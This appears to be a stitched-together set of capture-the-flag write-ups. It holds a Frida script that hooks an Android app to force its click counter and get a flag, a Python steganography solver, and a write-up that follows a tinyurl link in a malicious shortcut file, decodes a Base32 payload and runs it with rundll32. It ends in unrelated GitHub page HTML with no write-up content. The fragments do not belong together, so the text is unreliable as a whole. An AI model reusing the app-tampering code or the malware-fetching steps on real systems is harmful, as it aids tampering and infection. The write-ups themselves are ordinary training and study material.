We can do it using the following code [frida_script.js](./frida_script.js):```javascriptJava.perform(function() {
let MainActivity = Java.use("com.example.clickme.MainActivity"); MainActivity.getFlagButtonClick.implementation = function(view){ this.CLICKS.value = 99999999; console.log('getFlagButtonClick is called'); let ret = this.getFlagButtonClick(view); console.log('getFlagButtonClick ret value is ' + ret); return ret;};
}, 0);```
We need before to start [frida-server](https://github.com/frida/frida/releases) (Select your version) on the emulator.
First, Let's copy the ```frida-server``` to the emulator and to give the file execute permission:```console┌─[evyatar@parrot]─[/mobile/click_me]└──╼ $ adb push frida-server /tmp/mobile/click_mefrida-server: 1 file pushed. 43.0 MB/s (42925716 bytes in 0.952s)┌─[evyatar@parrot]─[/mobile/click_me]└──╼ $ adb shell "chmod +x /tmp/frida-server"```
Run it:```console┌─[evyatar@parrot]─[/mobile/click_me]└──╼ $ adb shell "/tmp/frida-server &"```
Now we can run our script:```console┌─[evyatar@parrot]─[/mobile/click_me]└──╼ $ frida -U -f com.example.clickme -l frida_script.js --no-pause ____ / _ | Frida 14.2.12 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://www.frida.re/docs/home/Spawned `com.example.clickme`. Resuming main thread![Custom Phone 29::com.example.clickme]->```
Now, by clicking on ```Get Flag``` we get:
 |
## Solver.py```python3#dependanciesfrom apng import APNGfrom PIL import Imageimport os
#extract frames from the result APNGanimated = APNG.open("result.apng")pngs = []for i, (png, control) in enumerate(animated.frames): currentp = f"Frame_{i}.png" png.save(currentp) pngs.append(currentp)
#iterate through all the PNG framesoriginal = Image.open("ostrich.jpg")flag = ""for png in pngs: #open the image img = Image.open(png)
#iterate through all pixels and compare to the original #if the current pixel differs, it was what was used for steganography calculation found = None for x in range(original.width): #break if found (to save execution time) if found: break
for y in range(original.height): if original.getpixel((x,y)) != img.getpixel((x,y)): found = (x,y) break
#if nothing was found, alert if not found: print(f"No pixels for {png}") continue
#get the current pixel print(f"Pixel located at {found}") original_pixel = original.getpixel(found) current_pixel = img.getpixel(found)
#generate the byte string for the current flag char result = [current_pixel[0]] if current_pixel[1] != original_pixel[1]: result.append(current_pixel[1])
#turn the result into an integer #divide the result by the last pixel and append the result to the flag result = int.from_bytes(bytearray(result), "big") result //= original_pixel[2] flag += chr(result)
#delete the png file after we're done os.remove(png)
#print flagprint(flag)``` |
I did not think that I could complete this challenge since I've never done Malware analysis but I thought that I would give it a try since it's was just a shortcut file (ಠ_ಠ)
```**First I did the obvious things, like file and strings to see what kind of information I can find. Not much**.```

```**Second, I thought about getting the md5 hash of the shortcut file and using VirusTotal to see if it finds anything, which it did.**```

```**I knew that I was on the right path since the date on VirusTotal was very very recent for this file. I immediately went to the 'Community' tab and found a link for Joe Sandbox Analysis**.```

```**Opening the Link I noticed the 'Found URL in windows shortcut file (LNK)' under 'Signatures' section. This caught my eye and I started to look for links in the report**.```
```**Under 'Static Windows Shortcut Info' section I was able to find a tinyurl link (tinyurl.com/a7ba6ma),**```
```**which redirected me to a Google Drive page that had a usb.txt file, and what looked like a Base64 encoded data**.``````
**Copying the data and trying to decode it in Cyberchef did not work. The data looked too scrambled and did not make sense. I tried Base85, Base62, Base58, Base45, and finally with Base32 I was able to correctly decode the data. At first I did not know if it was an .EXE file or a .DLL because I read a few articles and got confused.. so we will call it an EXE/DLL file**.```
```
**Under the 'Output' section for Cyberchef I noticed the mentioning of MessageBox, so I thought that maybe when I execute the file a MessageBox would appear. Also I noticed that there was a xml code at the bottom, but did not understand why it was there, maybe it's default by default for all .exe :?**```
```**I then saved the output to a file and tried to use the command strings to see if I can catch an easy flag :P, but it was not that easy.**```

```**Opening the file in ghidra did not reveal too much. Just bunch of code that I do not understand**```

```**Moving over to Windows, I tried to run the .exe file but was presented with "This app can't run on your PC", the end**.```

```**I tried a few different things like using different disassemblers but nothing was catching my eyes. I then thought about changing the extension to .dll and then using rundll32 to run it, it did nothing..**``````**Running it again with rundll32 but with a parameter shows a MessageBox with the flag (╯°□°)╯︵ ┻━┻, Don't know how, Don't know why ¯\_(ツ)_/¯**```
 |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF_Writeups/nahamcon22/pwn/babysteps at main · d3vinfos3c/CTF_Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="D7D9:7C06:136F973:13EBD8A:64121B81" data-pjax-transient="true"/><meta name="html-safe-nonce" content="5b2b73ee86262470accfc8ed62b3579fa33aaecafc075f2a0582db9197014209" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0Q5OjdDMDY6MTM2Rjk3MzoxM0VCRDhBOjY0MTIxQjgxIiwidmlzaXRvcl9pZCI6IjE2MjM0ODkwOTI1ODE5ODkyNDkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="2274afe4dc883d2d90f7a21ce55e23846291498d65794afa80fad49f5b57427a" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:484248602" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to d3vinfos3c/CTF_Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/0d989861ce6342d7240af8879b30e3b017e0db296f4c0e0f208284fcc6653170/d3vinfos3c/CTF_Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF_Writeups/nahamcon22/pwn/babysteps at main · d3vinfos3c/CTF_Writeups" /><meta name="twitter:description" content="Contribute to d3vinfos3c/CTF_Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/0d989861ce6342d7240af8879b30e3b017e0db296f4c0e0f208284fcc6653170/d3vinfos3c/CTF_Writeups" /><meta property="og:image:alt" content="Contribute to d3vinfos3c/CTF_Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF_Writeups/nahamcon22/pwn/babysteps at main · d3vinfos3c/CTF_Writeups" /><meta property="og:url" content="https://github.com/d3vinfos3c/CTF_Writeups" /><meta property="og:description" content="Contribute to d3vinfos3c/CTF_Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/d3vinfos3c/CTF_Writeups git https://github.com/d3vinfos3c/CTF_Writeups.git">
<meta name="octolytics-dimension-user_id" content="48994793" /><meta name="octolytics-dimension-user_login" content="d3vinfos3c" /><meta name="octolytics-dimension-repository_id" content="484248602" /><meta name="octolytics-dimension-repository_nwo" content="d3vinfos3c/CTF_Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="484248602" /><meta name="octolytics-dimension-repository_network_root_nwo" content="d3vinfos3c/CTF_Writeups" />
<link rel="canonical" href="https://github.com/d3vinfos3c/CTF_Writeups/tree/main/nahamcon22/pwn/babysteps" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
